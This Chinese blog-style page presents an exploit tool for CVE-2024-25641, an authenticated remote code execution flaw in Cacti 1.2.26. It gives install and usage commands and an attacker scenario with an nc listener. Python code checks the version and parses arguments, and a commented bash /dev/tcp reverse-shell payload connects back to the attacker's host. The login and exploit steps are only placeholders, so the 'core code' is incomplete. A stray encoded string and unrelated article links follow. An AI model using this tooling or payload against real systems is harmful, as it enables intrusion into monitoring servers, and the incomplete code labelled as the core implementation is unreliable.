Cacti 1.2.26 远程代码执行漏洞利用工具 (CVE-2024-25641)

Cacti 1.2.26 远程代码执行漏洞利用工具 (CVE-2024-25641)

这是一个针对Cacti网络监控系统特定版本(1.2.26)的远程代码执行(RCE)漏洞的自动化利用工具。该工具基于CVE-2024-25641漏洞开发,允许经过身份验证的用户在目标系统上执行任意代码,并反弹一个交互式Shell。

功能特性

  • 自动版本检测:工具会检查目标Cacti应用的版本,确认其是否为受影响的1.2.26版本。
  • 身份验证支持:支持使用用户名和密码进行身份验证,以执行后续的利用步骤。
  • 反向Shell生成:成功利用漏洞后,可以向指定的本地主机和端口发起一个反向TCP Shell连接。
  • 可选详细输出 :提供 --verbose 参数,用于输出更详细的执行过程信息,便于调试和分析。
  • 命令行界面:通过命令行参数提供所有必要信息,使用方便快捷。

安装指南

系统要求

  • Python 3.x
  • 目标系统需要运行Cacti 1.2.26版本

依赖项

在运行此工具之前,请确保已安装所需的Python库。可以使用pip进行安装:

bash 复制代码
pip install requests beautifulsoup4 cryptography

获取工具

克隆此仓库到本地:

bash 复制代码
git clone https://github.com/your-repo/Cacti-Exploit-CVE-2024-25641.git
cd Cacti-Exploit-CVE-2024-25641

使用说明

基本用法

bash 复制代码
python3 exploit.py --url http://target-cacti.com --user admin --password secret --lhost 192.168.1.100 --lport 4444

参数说明

参数 描述 是否必需
--url Cacti应用的根URL
--user 用于登录的用户名
--password 用于登录的密码
--lhost 接收反向Shell的本地主机IP
--lport 接收反向Shell的本地端口
--verbose 启用详细输出模式

典型使用场景

  1. 攻击者设置监听器:

    bash 复制代码
    nc -lvnp 4444
  2. 攻击者运行漏洞利用脚本:

    bash 复制代码
    python3 exploit.py --url http://10.10.10.10/cacti --user admin --password admin --lhost 10.10.10.5 --lport 4444 --verbose
  3. 如果成功,攻击者的监听器将收到一个来自目标服务器的Shell。

核心代码

以下是该工具的核心实现代码,展示了漏洞利用的关键步骤。

版本检测函数

python 复制代码
import requests

def check_version(url_to_check):
    """
    检查目标URL上的Cacti版本是否为1.2.26
    """
    try:
        r = requests.get(url_to_check)
        response = r.text

        if "Cacti CHANGELOG" in response and "1.2.26" in response and "1.2.27" not in response:
            print("[+] Version seems to be 1.2.26")
        else:
            print("[-] Version doesn't seem to be 1.2.26, proceeding anyway")
    except Exception as e:
        print(f"[-] Error checking version: {e}")

命令行参数解析

python 复制代码
import argparse

def parse_arguments():
    """
    解析并返回命令行参数
    """
    p = argparse.ArgumentParser(description="CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE")
    p.add_argument('--url', help="URL of the Cacti web root", required=True)
    p.add_argument('--user', help="username to log in", required=True)
    p.add_argument('--password', help="password of the username", required=True)
    p.add_argument('--lhost', help="local host to receive the reverse shell", required=True)
    p.add_argument('--lport', help="local port to receive the reverse shell", required=True)
    p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False)

    return p.parse_args()

随机字符串生成函数

python 复制代码
import string
import random

def get_random_string(length):
    """
    生成一个指定长度的随机小写字母字符串,用于绕过简单的过滤或生成唯一标识符。
    """
    letters = string.ascii_lowercase
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str

主函数逻辑框架

python 复制代码
# ... 导入必要的模块 ...

if __name__ == '__main__':
    # 解析参数
    parser = parse_arguments()
    url = parser.url
    username = parser.user
    password = parser.password
    lhost = parser.lhost
    lport = parser.lport
    verbose = parser.verbose

    # 1. 检查版本
    changelog_url = f"{url.rstrip('/')}/docs/CHANGELOG"
    check_version(changelog_url)

    # 2. 进行身份验证(此处为简化逻辑,实际代码中会包含完整的认证流程)
    # session = login(url, username, password)

    # 3. 构造并发送恶意请求,触发漏洞
    # 例如,利用文件上传或参数注入漏洞

    # 4. 生成反向Shell Payload
    # payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"

    # 5. 执行利用,并等待Shell连接
    # execute_exploit(session, url, payload)
    print(f"[*] Exploit attempted. Check your listener at {lhost}:{lport}")

6HFtX5dABrKlqXeO5PUv/5+A6Y7DjDXG69mAMwPZBsd/S4RQWPUk3KSsqxhXVYCd

相关推荐
AI机器学习算法3 小时前
深度学习模型演进:6个里程碑式CNN架构
人工智能·深度学习·cnn·大模型·ai学习路线
Ztopcloud极拓云视角3 小时前
从 OpenRouter 数据看中美 AI 调用量反转:统计口径、模型路由与多云应对方案
人工智能·阿里云·大模型·token·中美ai
AI医影跨模态组学3 小时前
如何将深度学习MTSR与膀胱癌ITGB8/TGF-β/WNT机制建立关联,并进一步解释其与患者预后及肿瘤侵袭、免疫抑制的生物学联系
人工智能·深度学习·论文·医学影像
小糖学代码3 小时前
LLM系列:1.python入门:15.JSON 数据处理与操作
开发语言·python·json·aigc
搬砖的前端3 小时前
AI编辑器开源主模型搭配本地模型辅助对标GPT5.2/GPT5.4/Claude4.6(前端开发专属)
人工智能·开源·claude·mcp·trae·qwen3.6·ops4.6
Python私教4 小时前
Hermes Agent 安全加固与生态扩展:2026-04-23 更新解析
人工智能
饼干哥哥4 小时前
Kimi K2.6 干成了Claude Design国产版,一句话生成电影级的动态品牌网站
人工智能
肖有米XTKF86464 小时前
带货者精品优选模式系统的平台解析
人工智能·信息可视化·团队开发·csdn开发云
天天进步20154 小时前
打破沙盒限制:OpenWork 如何通过权限模型实现安全的系统级调用?
人工智能·安全
xcbrand4 小时前
政府事业机构品牌策划公司找哪家
大数据·人工智能·python